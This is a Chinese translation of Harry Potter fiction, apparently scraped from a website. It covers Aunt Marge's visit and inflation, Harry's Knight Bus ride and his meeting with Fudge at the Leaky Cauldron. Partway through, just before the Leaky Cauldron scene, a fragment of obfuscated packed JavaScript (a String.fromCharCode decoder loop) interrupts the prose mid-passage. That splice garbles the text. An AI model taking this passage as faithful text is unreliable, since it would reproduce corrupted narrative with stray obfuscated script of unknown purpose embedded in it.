但是哈利并不抱怨:对于他来说,不和玛姬姑妈在一起的任何借口都是好的,所以他开始努力地将这只箱子抱到楼上的空闲房间里去,尽量拖长做这件事的时间。 等他回到厨房的时候,玛姬姑妈已经喝上了茶,吃上了水果蛋糕,利皮则在角落里喧闹地舔食。 佩妮姨妈见到她洁净地板上斑驳的茶渍和口水,不觉畏缩了一下,哈利看在眼里:佩妮姨妈痛恨动物。 “剩下的狗谁在照顾呀,玛姬?”弗农姨父问道。 “哦,我叫富布斯特上校照管它们,”玛姬姑妈满脸生辉地说,“他现在退休了,有点事情做做对他有好处。我离不开可怜的利皮。要是它不在我身边,它就会消瘦的。” 正当哈利坐下来的时候,利皮开始吠叫起来。玛姬姑妈这才第一次把注意力转向哈利。 “这么说!”玛姬姑妈怒气冲冲地说,“你还在这里,是不是?” “是。”哈利说。“不要用这种不知道好歹的腔调说‘是’,”玛姬姑妈咆哮道,“弗农和佩妮收留了你,他们真是够好的了。要是我才不干呢。要是有人把你扔到我的大门口,你早就直截了当地到孤儿院了。” 哈利真想说他宁愿待在孤儿院,也不愿意和德思礼一家人住在一起,但他想到那张同意表,就忍住了没说。他勉强在脸上挤出痛苦的笑容来。 “别对我假笑!”玛姬姑妈声音隆隆地说,“我看得出来,自从上次我看见你以来,你没有什么进步。我希望学校能强迫你学会些礼貌。”她吞下一大口茶,擦擦她的唇髭,又说:“弗农,我又忘了,你把他送到什么地方去了啊?” “圣布鲁斯,”弗农姨父立即说,“对于那些无可救药的人来说,那是家第一流的机构。” “我明白了。”玛姬姑妈说,“小子,圣布鲁斯的人使用藤杖吗?”她隔着桌子对哈利怒气冲冲地说。 “唔——”弗农姨父在玛姬姑妈背后简短地点了一下头。“是啊。”哈利说。然后,他觉得似乎应该把事情做得像样些,就说:“一直用的。” “太好了,”玛姬姑妈说,“我可不要听那些哼哼叽叽、空洞无聊的废话,说什么不要打那些该打的人。十之八九,这类人需要好好地痛打一顿。你时常挨打吗?” “哦,是的,”哈利说,“许多次了。” 玛姬姑妈把眼睛眯起来。“我仍旧不喜欢你说话的腔调,小子。”她说,“如果你能够用这种随随便便的口气说你挨打的事,那他们显然打你打得不够狠。佩妮,我要是你的话,我会给学校写信的,写清楚你同意对这小子使用极端力量。” 也许弗农姨父担心哈利会忘记他们之间的交易;不管怎么说,他突然改变了话题。“听到今天早晨的新闻了吗,玛姬?那个在逃的犯人怎样了,嗯?” 玛姬姑妈开始安顿下来,哈利却发现自己几乎在渴望这家里过着没有玛姬的日子。 弗农姨父和佩妮姨妈通常告诫哈利不要碍他们的事,哈利也巴不得他们这样对待他。 玛姬姑妈却正相反,什么时候都要哈利在她眼皮子底下,以便她能提出让他改进的意见来。 她喜欢拿哈利和达力进行比较,她对哈利总是怒目注视,同时给达力买昂贵的礼物,这样做事她感到极大的愉悦,好像在向他挑战,看他敢不敢质问为什么他不能得到礼物。她还不断阴险地暗示哈利为什么会成为这样一个不知感恩的人。 “你一定不要为这家伙竟然会是这副样子而谴责自己,弗农。”第三天她在午饭时说,“如果骨子里有什么东西腐败了,那就谁也没办法了。” 哈利努力把注意力只放在食物上,但他的手抖了起来,他的脸因生气而涨得通红。记住那张表,他告诉自己。想想霍格莫德。不要说什么话。不要站——玛姬姑妈起身去够她那瓶葡萄酒。 “这是育种的一条基本规则,”她说,“你看养狗就一直是这样的。如果母狗有什么不对头的地方,小狗也必定有什么地方不好——” 这时,玛姬姑妈手里握着的酒瓶爆炸了。玻璃碎片飞向四面八方,玛姬姑妈因生气而激动起来,眼 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他听到德思礼一家人离开了餐桌,于是他急忙上楼避开他们。 以后的三天里,只要姑妈瞪哈利,他就强迫自己想想那本《飞天扫帚护理手册》。这个办法很能奏效,尽管这么做让他有一种发呆的样子,因为玛姬姑妈开始发表意见说他精神不正常。 最后,终于到了这一天,是玛姬姑妈在这里做客的最后一个晚上,佩妮姨妈准备了高级的正餐,弗农姨父打开了好几瓶葡萄酒。大家喝了汤,吃了大马哈鱼,一次也没有提到哈利的种种不是。 在吃柠檬蛋白酥皮馅饼的时候,弗农姨父絮絮不休地谈到他那制造钻机的格朗宁公司,让大家都感到心烦。然后佩妮姨妈烧了咖啡,弗农姨父拿出一瓶白兰地来。 “玛姬,你也来一点吧?”玛姬姑妈已经喝了不少葡萄酒了。她那张大脸已经很红了。 “那么,少喝一点,”她咯咯笑着说,“比这个多一点..再多一点...这就妥了。” 达力正在吃第四片馅饼。佩妮姨妈正翘着小指头啜饮咖啡。哈利真想回到自己的房间去,但他遇到了弗农姨父愤怒的小眼睛,于是他知道他必须一直坐到最后大家都吃完的时候。 “啊,”玛姬姑妈说,咂咂嘴唇,把已经喝空了的杯子放了下来,“点心做得真好,佩妮。通常我晚上只是吃一份油炸食品罢了,我有十二条狗要照顾啊...” 她响亮地打着嗝儿,拍拍她那大肚子。“原谅我。不过我的确喜欢看到健康正常的孩子,”她继续说下去,向达力眨眨眼,“你会长成身材正常的男人的,达力宝贝儿,就像你的爸爸一样。哦,弗农,我还想要一点白兰地...” “喏,这一个——” 她把脑袋向着哈利一扬,哈利感到胃里一阵紧。手册,他提醒自己。“这一个有一副卑鄙自私、比正常人要小的样子。狗就有这种情况。去年我就叫富布斯特上校淹死了一条狗。那是一条像耗子一样的小东西。弱,发育不好。”哈利努力回忆手册第十二页的内容:纠正脑筋不愿拐弯的魔咒。 “这都是由于血统不好,那天我就是这样说的。坏的血统会表现出来的。我不是在说你家庭的坏话,佩妮——” 她用她那像小铲子一样的手,拍拍佩妮那瘦骨嶙嶙的手,“但是你的妹妹是坏家伙。她出身于最好的家庭。然后她跟一个饭桶跑了,其后果现在就在我们眼前。” 哈利瞪着他的盘子,耳朵里有一种奇异的声音。牢牢抓住扫帚尾部,他心里念叨着。但底下还有什么他就记不住了。玛姬姑妈的声音好像直钻进了他的心里,就像弗农姨父的钻机一样。 “这个波特,”玛姬姑妈大声说,一面抓住那个白兰地酒瓶,又向她的酒杯里和桌布上泼泼洒洒地倒了一些酒,“你怎么从来没有告诉过我他是做什么的呢?” 弗农姨父和佩妮姨妈看上去神情极其专注。达力甚至从他的馅饼上抬起头来,目瞪口呆地看着他的双亲。 “他——不工作的,”弗农姨父说,偷眼看了看哈利,“失业了。” “我猜的没错吧!”玛姬姑妈说,喝了一大口白兰地,用袖子擦了擦嘴。“一个没有价值、一无是处、懒惰的乞讨者,这种人——” “他不是这种人。”哈利突然说。 餐桌上没人说话,很安静。哈利浑身发抖。他一生之中还从来没有这样动过怒。 “再来一点白兰地!”弗农姨父嚷道,他的脸已经很白了。他把瓶里的酒都倒在了玛姬姑妈的杯子里。 “你,小子,”他对哈利粗暴地说,“睡觉去,去——” “别,弗农。”玛姬姑妈打着嗝儿说,一面举起手来,她那双充血的小眼睛紧盯着哈利。“说下去,小子。为你的双亲骄傲,对吗?他们出门,遇到车祸,死了(我想,是喝醉了吧)——” “他们不是因为车祸才死的!”哈利说,不知不觉,他已经站了起来。 “他们是因为车祸死的,你这个小撒谎精!他们还把你这个负担丢下来,丢给他们体面的、努力工作的亲戚!”玛姬姑妈尖叫道,愤怒得一塌糊涂。“你是个傲慢无礼、不知感激的小——” 但玛姬姑妈突然住嘴不说了。有一会儿工夫,好像她张口结舌,说不出话来似的。她似乎由于没法形容的愤怒而膨胀开来了——但是这种膨胀并没停止。她那张通红的大脸开始扩展,她那双小眼睛向外突出,她的嘴张得太大,没法说话。过了一秒钟,好几枚纽扣从她的花呢衣服上崩了下来,砰砰地撞在墙上——她膨胀着,活像一只大得吓人的气球,她的肚子胀得挣开了那根花呢腰带,她的每一根手指都胀得像香肠那样粗... “玛姬!” 弗农姨父和佩妮姨妈一起大叫道,此时玛姬姑妈的整个身体开始离开她的座椅,向天花板升去。 现在,她完全是圆的了,像个有一双小眼睛的救生圈一样。在她向空中飘浮的时候。她的双手和双脚古怪地伸着,发出一阵阵爆破声。利皮溜进房间,发疯似的吠叫着。 “别——” 弗农姨父抓住玛姬姑妈的一条腿,想把她拉下来,但他自己也差一点儿被拉得离开了地板。又过了一秒钟,利皮向前一跳,咬住了弗农姨父的腿。 在还未来得及阻止哈利以前,哈利就离开了这个房间,冲向楼梯下面的那个碗柜。 他走到那里去的时候,碗柜的门神秘地打开了。几秒钟之内,他已经用力举起他的衣箱放到了大门口。他全速奔跑上楼,一头钻到床下,猛然掀开那块松动的地板,抓出那个装满了他的书和生日礼物的枕套。他扭动着身子从床底下退出来,一把抓住海德薇的空笼子,冲下楼梯奔向他的衣箱,这时弗农姨父正好从餐室出来。他的裤腿成了破破烂烂的布条。 “回到这里来!”他咆哮道,“回来,把事情弄好!” 但是,哈利正在不顾一切的狂怒之中。他一脚踢开那只衣箱,拉出他的魔杖,用魔杖指着弗农姨父。 “她活该,”哈利说,呼吸急促,“她是自作自受。你离我远点儿。” 他在身后摸索着寻找门栓。 “我要走了,”哈利说。“我受够了。” 一会儿,他就出门到了黑暗、安静的街上了。 他身后拖着沉重的衣箱,胁下夹着海德薇的笼子。 41. 骑士公交车 哈利拖着箱子走过几条街后,瘫倒在木兰花新月街的一堵矮墙上,累得上气不接下气。 他一动不动地坐在那里,听着自己心脏嗵嗵的狂跳声,心里仍然腾腾地冒着怒火。 在漆黑的街道上独自待了十分钟后,一种新的情绪抓住了他:紧张。不管从哪一方面来看,现在的情况都是前所未有的糟糕。他孤身一人流落在黑暗的麻瓜世界里,没有任何地方可去。最糟糕的是,他刚才使用了厉害的魔法,这意味着他几乎肯定要被霍格沃茨开除了。他甚至感到很吃惊:他如此严重地违反了《对未成年巫师加以合理约束法》,魔法部代表竟然没有扑过来抓他。 哈利浑身颤抖,朝木兰花新月街的两边看了看。他会碰上什么情况呢?是会被抓起来,还是会被巫师世界驱逐?他想起了罗恩和赫敏,心情更加沉重了。哈利可以肯定,不管他有没有犯法,罗恩和赫敏都会愿意帮助他的,可是他们俩此刻都在国外,而且海德薇也走了,他没有办法跟他们取得联系。 他身上也没有带着麻瓜的钱。箱子底部的钱袋里倒有一些巫师金币,但父母留给他的其余财产都存在伦敦古灵阁巫师银行的地下金库里。他不可能拖着箱子一路走到伦敦。除非...... 他低头看看仍然攥在手里的魔杖。既然他已经要被开除(此刻他的心脏嗵嗵狂跳,令他难受),再多使用一点魔法也没什么关系了。他还有从父亲那里继承来的隐形衣——他是不是可以给箱子施个魔法,把它变得像羽毛那么轻,拴在飞天扫帚上,然后穿上隐形衣,一路飞到伦敦呢?这样,他就能把其余的钱都从地下金库里取出来......从此开始浪迹天涯。未来的日子令他恐惧,但是他不能永远呆坐在这堵墙上,弄得不好,他必须向麻瓜警察解释他为什么半夜三更流落街头,还带着一箱子魔法书和一把飞天扫帚。 哈利又打开箱子,把里面的东西扒拉到一边,寻找那件隐形衣——衣服还没找到,他突然直起身子,又一次打量着四周。 他感到脖上有一种异样的刺痛,似乎有人在盯他的梢,可是放眼望去,街道上空荡荡的,那些四四方方的大房子里也没有透出一丝灯光。 他又埋头在箱子里翻找,但紧接着再一次纵身跃起,把手里的魔杖攥得紧紧的。与其说他是听见,不如说是他感觉到有个什么人或什么东西,就在他身后车库和栅栏之间的窄巷里。哈利眯起眼睛盯着黑黝黝的小巷。只要那玩意儿动一动,他就能知道那是一只无家可归的野猫,还是——别的什么。 “荧光闪烁。”哈利低声说,他的魔杖头上立刻冒出一道亮光,刺得他几乎睁不开眼睛。他把魔杖高高地举过头顶,女贞路2 号的鹅卵石外墙一下子被照得亮闪闪的。车库的门反射着亮光。而在墙和车库之间,哈利清清楚楚地看见一个黑乎乎的大家伙,闪着一双贼亮的大眼睛。 哈利朝后退去,两条腿撞在箱子上,被绊了一下。他伸出一只胳膊保持住身体平衡,魔杖从手里飞了出去。他重重地摔在了排水沟里。 震耳欲聋的砰的一声,哈利举起双手掩住眼睛以抵御一道突然袭来、令人眼花的强光。 哈利大叫一声,滚回到人行道上,非常及时。 一秒钟以后,一对巨大的车轮和车灯尖叫着,恰恰在哈利刚才躺着的地方刹住了。哈利抬起头来,发现这车轮和车灯属于一辆三层的公共汽车,这辆汽车是从稀薄的空气里出现的。 汽车挡风玻璃上的金色字母组成了这样几个字:骑士公共汽车。 “欢迎乘坐骑士公共汽车,这是为处于困境的巫师开设的应急客运。只要伸出你的魔杖并且走上车来,我们就可将你带到你想去的任何地方。我的名字是斯坦·桑帕克,是今晚你们的售票员——” 这位售票员突然住了嘴。他刚刚看到哈利,其时哈利还坐在地上。哈利又抓起了魔杖,努力站起身来。走近了,他发现桑帕克比他大不了几岁:十八岁,最多十九岁,长着一双大大的扇风耳,脸上还有几个小丘疹。 “你在那里干吗?”桑帕克问道,放下了他那副职业劲头。 “我摔在那儿了。”哈利说。 “特地摔在那里的吗?”桑帕克窃笑着说。 “我不是故意要摔的。”哈利说,不觉着恼了。他的牛仔裤有一条裤腿撕破了,他伸出去以保持身体平衡的那只手在流血。他突然记起他为什么会摔倒,于是他转过身去,瞪着汽车库与篱笆之间的那条胡同。 骑士公共汽车的头灯将那里照亮了:那里空荡荡的。 “愿意往那儿看吗?”斯坦问。“刚才那里有一个大的黑东西,”哈利说,不肯定地指着那块空地,“好像是条狗...但是大得...”他回过头来看斯坦,斯坦的嘴张开了一点。哈利带着一种不安的心情,看到斯坦的眼睛转到哈利前额上的那个疤上了。 “你头上那是什么?”斯坦突然问道。 “没什么。”哈利迅速地说,一面用头发盖住那块疤。如果魔法部在找他,他可不想让他们太轻易就找到了。 “你叫什么名字?”斯坦继续问道。 “纳威·隆巴顿,”哈利说,这是他首先想起来的一个名字,“那——那么说,这辆公共汽车,”他迅速地说下去,希望分散斯坦的注意力,“你刚才是说它什么地方都能去,是吗?” “是啊,”斯坦骄傲地说,“你想去的任何地方,只要是在陆地上的地方都行。水底下可去不了。咦,”他说,看上去又怀疑起来了,“你不是打信号要我们停车的吗?你伸出了你的魔杖,不是吗?” “对呀,”哈利赶快说,“听着,到伦敦去要多少钱?” “十一个银西可,”斯坦说,“不过要是你付十四个,你就可以得到巧克力,付十五个,就可以拿到一个热水瓶和一把牙刷,颜色由你挑。” 哈利又在他的衣箱里仔细寻找,扯出他的钱袋。把一些银币倒在斯坦手里。然后他和斯坦举起他的衣箱,箱子上绑着海德薇的笼子,两人就这样走上了公共汽车。 汽车里没有座位。在拉上了窗帘的窗子后面,放有六张带黄铜柱的床。每张床旁边的托架上都点着蜡烛,照亮了有护壁板的墙。一个小个子男巫,戴着睡帽,在汽车后部咕哝道:“现在可不要,多谢了,我在腌鼻涕虫呢。”一面在睡梦中翻了个身。 “你睡这张。”斯坦耳语道,把哈利的箱子塞到司机后面的那张床底下,司机坐在方向盘前面的一张扶手椅上。“这是我们的司机,厄恩·普兰。厄恩,这是纳威·隆巴顿。” 厄恩·普兰是一位年长的男巫,戴着镜片很厚的眼镜。他向哈利点点头,哈利慌张地再次抚平他的额发,坐在了他的床上。“开车吧,厄恩。”斯坦说,坐在厄恩旁边的扶手椅上。 又是巨大的砰的一声,哈利不由得倒在了床上,是骑士公共汽车的速度把他向后抛去的结果。哈利振作起来,向黑暗的窗外看去,看到他们现在正沿着一条完全不同的街道稳而快地行驶着。斯坦正饶有兴趣地看着哈利那张惊讶的脸。 “这就是你打信号要我们下来的地方。”他说,“我们现在在哪里,厄恩?是在威尔士的什么地方吗?” “唔。”厄恩说。 “麻瓜为什么听不见这车?”哈利问。 “他们!”斯坦轻蔑地说,“不好好儿听,是这样吗?也不好好儿看。他们什么也不注意。” “最好现在把马什女士叫醒,斯坦,”厄恩说,“我们马上就要到阿伯加文尼了。” 斯坦走过哈利身旁,消失在一道狭窄的楼梯上。哈利仍旧在看着窗外,越来越感到紧张。 厄恩似乎对掌握方向盘并不熟练。这辆骑士公共汽车总是往人行道上撞,但倒是什么也撞不着:一行行的灯柱、信箱和垃圾桶在这辆车开过来的时候都跳让着避开,等它开过去了,就又回到原来的位置。 斯坦回到楼下来了,身后跟着一位身穿浅绿色旅行外套的女巫。 “你慢走,马什女士。”斯坦快乐地说,这时厄恩踩了刹车,车上的床都向车的前方滑行了大约一英尺。马什女士将一块手帕掩在嘴上,然后蹒跚地走下车去。斯坦把她的袋子扔给她,砰的一声关上车门。又是响亮的砰的一声,汽车轰隆隆地沿着一条狭窄的乡间道路行驶,两旁的树都跳开让路。 哈利即使坐的不是一辆砰砰作响、一下子就向前跳一百英里的公共汽车,也不会睡得着。他重新想到下一步自己会遇到什么事,德思礼家是不是设法把玛姬姑妈从天花板上弄下来了,一想到这些,他胃里就翻腾。 斯坦打开了一份《预言家日报》,他在读着报,舌头放在两排牙齿之间。头版大照片上有一个人,脸庞凹陷,长头发纠结在一起,他缓慢地向哈利眨眼。他看上去令人眼熟得奇怪。 “那个人!”哈利说,暂时忘了他自己的麻烦事,“麻瓜的报纸也登了他!” 斯坦重新翻到了第一版,咯咯地笑起来。 “小天狼星布莱克,”他说,点着头,“他当然会在麻瓜的报纸上了,纳威。你原来在哪里?” 哈利脸上一片空白。斯坦看了,咯咯笑起来,露出了优越感。他撕下第一版,把它递给哈利。“你应该多读读报,纳威。” 哈利把报纸凑近蜡烛光读起来:布莱克仍然在逃魔法部今天证实:被认为是阿兹卡班城堡中待过的囚犯中最臭名昭着的小天狼星布莱克,现在仍然未被捉拿归案。“我们正在努力重新捉拿布莱克,” 魔法部长康奈利·福吉今天早晨说,“我们请求魔法界保持镇静。”国际巫师联合会的某些成员曾批评福吉不该将布莱克在逃这件事通知麻瓜的首相。 容易被激怒的福吉说:“噢,我不得不这样做,难道你们不知道吗?布莱克疯了。谁遇到他都会有危险,不管你是魔法界的人还是麻瓜。我得到了首相的保证,他说在布莱克的真实身份方面,不向任何人吐露一个字。让我们来面对这个现实——如果他说出去了,谁还会相信他?” 麻瓜们被告知布莱克是带着枪(一种金属魔杖,麻瓜们用来自相残杀的),而魔法界人士时刻担心十二年前的大屠杀会再现,当年布莱克曾经用一句魔咒就杀死了十三条人命。 哈利盯着布莱克那双模糊不清的眼睛,在那张凹陷的脸上,只有这双眼睛似乎有些生气。哈利还从来没有遇到过吸血鬼,但是他在黑魔法防御术课上看到过他们的照片,而布莱克有着蜡一样的白色皮肤,看上去就像是吸血鬼。 “他看上去很吓人,是不是?”斯坦说。哈利读报的时候他一直在观察哈利。 “他杀死过十三个人吗?”哈利说,把报纸还给了斯坦。“用一句咒语就杀了?” “对啊,”斯坦说,“当着目击者的面。在光天化日之下。引起了好大的麻烦,厄恩,是不是?” “唔。”厄恩阴郁地说。 斯坦在扶手椅里转了一圈,把手放在椅背上,以便更好地看着哈利。“布莱克是竭力支持神秘人的。” “什么?伏地魔吗?”哈利想也没想就这样说了。 斯坦就连丘疹也发白了,厄恩急速地转着方向盘,整个农庄都不得不跳到一边以便避让这辆车。 “你疯啦?”斯坦嚷道,“故意提他的名字干吗?” “对不起,”哈利即刻道歉地说,“对不起,我——我忘了——” “忘了!”斯坦软弱无力地说,“哎呀,我的心跳得那个快啊...” “那么——那么说,布莱克是神秘人的支持者了?”哈利急忙说。 “对啦,”斯坦说,仍旧抚摸着他的心口,“对啦,说得对。和神秘人的关系非常密切,人们是这么说的...不管怎么说,当年小哈利·波特要被神秘人杀死的时候——”哈利不安地将前额的头发又拉了下来——“神秘人的所有支持者都受到了追捕,对不对,厄恩?这些人多数都知道,既然神秘人已经逃走了,他们也就完了,所以他们都老实了。小天狼星布莱克可不这样。我听说他认为有一天神秘人会当权,那他就是第二号人物了。” “不管怎么说,他们在大街上把布莱克逼得走投无路,街上还满是麻瓜,布莱克拿出他的魔杖,炸了半条街,一个男巫被杀死了,十二个麻瓜也没命了。可怕,是不是?你知道布莱克接下来干什么了吗?”斯坦夸张地耳语道。 “什么?”哈利说。 “大笑,”斯坦说,“就是站在那里大笑。等到魔法部增援的人赶到的时候,他安静地跟着他们走了,一路上还在大笑。当然他是疯了,厄恩,是不是?他疯了吧?” “要是他到阿兹卡班时还没有疯,他现在也疯了。”厄恩慢慢地说,“要是我,到那种地方以前自己就先爆炸了。他这是活该,想想看...他都干了些什么...” “他们费了好大劲才把这件事瞒了起来,是不是啊,厄恩?”斯坦问,“整个一条街都挨炸了,所有的麻瓜都死了。厄恩,关于这件事,他们是怎么说的?” “煤气爆炸。”厄恩咕哝道。 “可现在他出来了,”斯坦说,又去看报上那张布莱克面容憔悴的照片,“阿兹卡班以前可从来没有人逃出来,是不是,厄恩?真弄不懂他是怎么出来的。真吓人,是不是?说实在的,想象不出他居然对付得了阿兹卡班的那些看守。是不,厄恩?” 厄恩突然颤抖起来。 “说点别的什么吧,斯坦,听话。提到阿兹卡班的守卫,我就起鸡皮疙瘩。” 斯坦不情愿地放下报纸。哈利靠在骑士公共汽车的车窗上,心情比什么时候都糟。他情不自禁地想象几天之后斯坦会对乘客说些什么。 “听说过那个哈利·波特吗?他把他的姑妈吹胀了!他来乘过我们这辆公共汽车,是不是,厄恩?他还努力跑着赶我们的车呢...” 他,哈利,已经破坏了魔法界的法律,就和小天狼星布莱克一样。把玛姬姑妈吹胀了,这件事够得上让他到阿兹卡班去吗?哈利对魔法界的监狱一无所知,不过他听到任何人提起那个地方都是战战兢兢的。 霍格沃茨的狩猎场看守,海格去年就在那里待过两个月。哈利不会马上忘记,人家告诉海格他要到那里去的时候,他脸上那种恐怖的表情,而且海格是哈利认识的最勇敢的人之一。 骑士公共汽车在黑暗里前进,一路冲散灌木、行人安全岛顶端的护柱、电话亭和树木,哈利躺在他的羽毛床上,躁动不安,悲惨可怜。过了一会儿,斯坦想起哈利付过巧克力的钱,但是当这辆汽车突然从阿恩格利西驶往阿伯丁的时候,他把巧克力全洒在了哈利的枕头上。穿着晨衣和拖鞋的男巫和女巫们一个个地从汽车上层下来,离开了汽车。他们好像都很乐意离开。 最后,哈利成了唯一的乘客。 “那么好吧,纳威,”斯坦说,拍着手,“到伦敦去什么地方呀?” “对角巷。” “好,”斯坦说,“那么,抓紧...” 砰。 他们沿着查林十字路隆隆前进。哈利坐起来,看着房子和长凳挤在一边,给骑士公共汽车让道。天空比以前亮了一些。他还要躲躲藏藏两个小时,古灵阁银行一开门就进去,然后出发——到哪里去,他不知道。 厄恩猛踩一下刹车,骑士公共汽车就滑行着停了下来,停在一家破破烂烂的小酒吧前面。这家小酒吧的名字叫做破釜酒吧,它后面就是通往魔法世界的对角巷的入口。 “多谢。”哈利对厄恩说。他跳下汽车的台阶,帮斯坦把他的衣箱和海德薇的笼子放在人行道上。 “那么,”哈利说,“再见了。” 但是斯坦并没注意他。 他仍然站在公共汽车的门道里,对着通往破釜酒吧的阴暗入口傻笑。 “你到了,哈利。”一个声音说。哈利还来不及转身,就觉得有一只手放在了他的肩上。同时,只听斯坦叫道:“哎呀!厄恩,你来看!你来看!” 哈利抬头看见了那只手的主人,马上觉得胃里被倒进了一大桶冰——他正好撞上了魔法部部长康奈利·福吉本人。 斯坦跳到人行道上站在哈利旁边。 “部长,你叫纳威什么?”他兴奋地问。 福吉是个粗壮的小个子,身穿一件细条纹长袍,看上去冷淡而疲惫。 “纳威?”他重复道,皱着眉头,“这是哈利·波特。” “我早就知道啦!”斯坦高兴地叫道,“厄恩!厄恩!猜猜纳威是谁,厄恩!他是哈利·波特!我能看见他的伤疤!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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酒吧老板汤姆又出现了,在睡衣外面加了一条围裙,用托盘拿来了茶和烤面饼。他把托盘放在福吉和哈利之间的桌子上,离开雅座,随手带上了门。 “好吧,哈利,”福吉说,一面把茶倒出来,“我不怕你知道,你让我们慌作一团了。从你姨妈和姨父家这样跑出来!我原来以为...不过你没出事,要紧的是这一点。”福吉给自己的烤面饼抹上黄油,然后把盘子向哈利推过去。 “吃吧,哈利,你看上去死气沉沉的。现在...你会高兴地听到我们是怎样解决玛姬小姐不幸被吹胀这件事的。几个钟点以前,偶发事件逆转部的两名成员奉命到了女贞路。玛姬小姐恢复过来了,她的记忆也被调整过了。她不记得这件事了。事情就是这样。没有造成任何伤害。” 福吉从他的茶杯边上对着哈利微笑,倒像是一位叔叔在看心爱的侄子。哈利不相信自己的耳朵,张开嘴要说话,又想不出来该说什么,只好闭上了嘴巴。 “啊,你在担心你的姨妈和姨父的反应吧?”福吉说,“好吧,我不否认他们极其生气,哈利,不过,只要你圣诞节和复活节都留在霍格沃茨,他们是准备明年夏天让你回去的。” 哈利的嗓子眼儿不再堵得慌了。 “我永远在霍格沃茨过圣诞节和复活节的,”他说,“我不想再回女贞路了。” “喏,喏,等你镇静下来以后,我肯定你就不会这样想了。”福吉说,带着担心的声调。“他们毕竟是你的家人,我肯定你们——哦——内心深处是彼此喜爱的。”哈利不想去纠正福吉的看法。他仍旧等着听怎样发落他。 “那现在剩下的就是,”福吉说,又在给他第二块烤面饼涂黄油,“你剩下的两星期假期在哪里过。我建议你在破釜酒吧开一个房间并且——” “等一等,”哈利急促地说,“给我的处分怎么说?” 福吉眨了眨眼。 “处分?” “我违法了!” 哈利说,“ 限制未成年人使用魔法的法令!” “哦,亲爱的孩子,我们不会为这样一点小事处分你的!”福古叫道,不耐烦地挥舞着他的烤面饼。“那是个偶然事件!我们不会仅仅为了人们吹胀姑妈就把他们送到阿兹卡班去的!”但这些话和哈利过去与魔法部所打的交道完全合不上拍。 “去年,只不过因为我姨父家里的小妖精弄坏了一块布丁,我就收到了一次正式警告!”哈利皱着眉头说。“魔法部说,如果再在那里施展任何魔法,霍格沃茨就要开除我!” 除非哈利的眼睛骗了他,因为福吉突然显得尴尬起来。 “情况常常变化,哈利...在目前情况下...我们必须要考虑的是...你肯定不想被开除吧?” “当然不了。”哈利说。 “那好,那你还慌张什么呢?”福吉轻松地大笑起来,“喏,来一片烤面饼,哈利,让我去找汤姆给你弄一间房子。” 福吉走出雅座去了,哈利瞪眼看着他的背影。肯定正在发生着什么特别不寻常的事情。如果不是为了他做过的事惩罚他,福吉为什么在破釜酒吧等他呢?而且现在哈利想到了这一点:魔法部部长本人参与未成年人使用魔法的事情,这肯定是不寻常的。 福吉回来了,一起来的还有小酒吧的老板汤姆。 “第十一号房间空着,哈利,”福吉说,“我想你住在那里会是很舒服的。只有一件事,而且我想你会理解的:你不要到麻瓜的伦敦去乱逛,行吗?就待在对角巷不要出去,而且每天天黑以前必须回来,你肯定明白这是为什么。汤姆会替我留神你的。” “好吧,”哈利慢慢地说,“但是,这为什么呢?” “不想再失去你,难道我们想吗?”福吉开怀大笑,“不,不...我们最好能知道你在哪里...我的意思是...” 福吉大声清了清嗓子,拿起了他那件细条纹长袍。 “好吧,我要走了,忙着呢,你知道的。” “你们有小天狼星布莱克的消息吗?” 福吉的手指在长袍的银扣上滑了一下。 “什么意思?哦,你听到了——好吧,没有,还没有呢,不过这只是时问问题。 阿兹卡班的守卫还从来没有失败过...它们这次恼怒得不得了,比我知道的哪次都厉害。”福吉有一点儿颤抖。 “那我就说再见了。”他伸出手来,哈利和他握手,突然有了个主意。 “啊——部长?可以问你几个问题吗?” “当然可以。”福吉微笑着说。 “好吧,三年级学生可以访问霍格莫德,但是,我的姨妈和姨父没有在我的同意表上签字。您能给我签吗?” 福吉看上去一副不舒服的样子。 “啊,”他说,“不,不,我很抱歉,哈利,因为我不是你的家长,也不是你的监护人——” “可您是魔法部部长啊,”哈利急切地说,“如果您允许我——” “不,抱歉,哈利,因为规定就是规定,”福吉断然说,“也许明年你可以访问霍格莫德。其实,我认为你最好是不...是...好吧,我要走了。在这里好好过。哈利。” 福吉最后一次对哈利微微一笑,又握了一下手,就离开了房间。 于是汤姆走上前来,对哈利微笑着。“波特先生,请跟我来,”汤姆说,“我已经把你的东西都搬上去了。” 哈利跟随汤姆走上一道漂亮的木楼梯,来到一间门口有一个黄铜牌子标明是十一号的房间,汤姆为哈利打开锁,开了门。房间里面有一张看上去很舒服的床,几件很光亮的橡木家具,壁炉里的火烧得噼啪作响,衣橱顶上站立着——“海德薇!”哈利惊喜地叫道。这只雪白的猫头鹰的喙咔哒响了一下,然后就飞到了哈利的肩头上。 “你这只猫头鹰真神奇。”汤姆咯咯笑着说,“你到这里以后大约五分钟,它就飞来了。如果需要什么,波特先生,马上说好了。” 他又鞠了一躬,离开了。 哈利在床上坐了很久,心不在焉地抚摸着海德薇。窗外的天空从深深的紫蓝色迅速变成冷冰冰的铁灰色,然后又慢慢地变成一道道的泛着粉红的金色。哈利简直不能相信自己离开女贞路才不过几个小时,他没有被开除,而且他还有整整两周可以摆脱德思礼一家的好日子。 “这是个很古怪的夜晚,海德薇。”他打着哈欠说。 他甚至没有拿掉眼镜,就倒在枕头上睡着了。 42. 破釜酒吧 哈利过了好几天才习惯了他奇异的新自由:以前他从来不能什么时候想睡就睡,想吃就吃。 现在他甚至可以到他想去的任何地方,只要那地方在对角巷里面就行,这条长长的铺满小石子的街道两旁都是世界上最让人着迷的魔法商店。因此,哈利并不想破坏他对福吉许下的诺言,没有偏离正道、又到麻瓜的世界里去。 哈利每天早晨在破釜酒吧吃早饭,他喜欢在那里观察其他住客:乡下来的有趣的小女巫到这里来是为花上了一整天来采购;看上去易受伤害的男巫们就《今日变形术》上的最新文章进行争论;野头野脑的巫师、喧闹的侏儒,还有,有一次,一个头戴厚厚的巴拉克拉瓦盔帽、看上去令人怀疑是鬼怪的人要了一碟子生肝。 早饭后,哈利往往到后院去,拿出他的魔杖,敲敲垃圾桶上方从左面数第三块砖头,然后后退一步,看着墙上打开的通向对角巷的拱道。 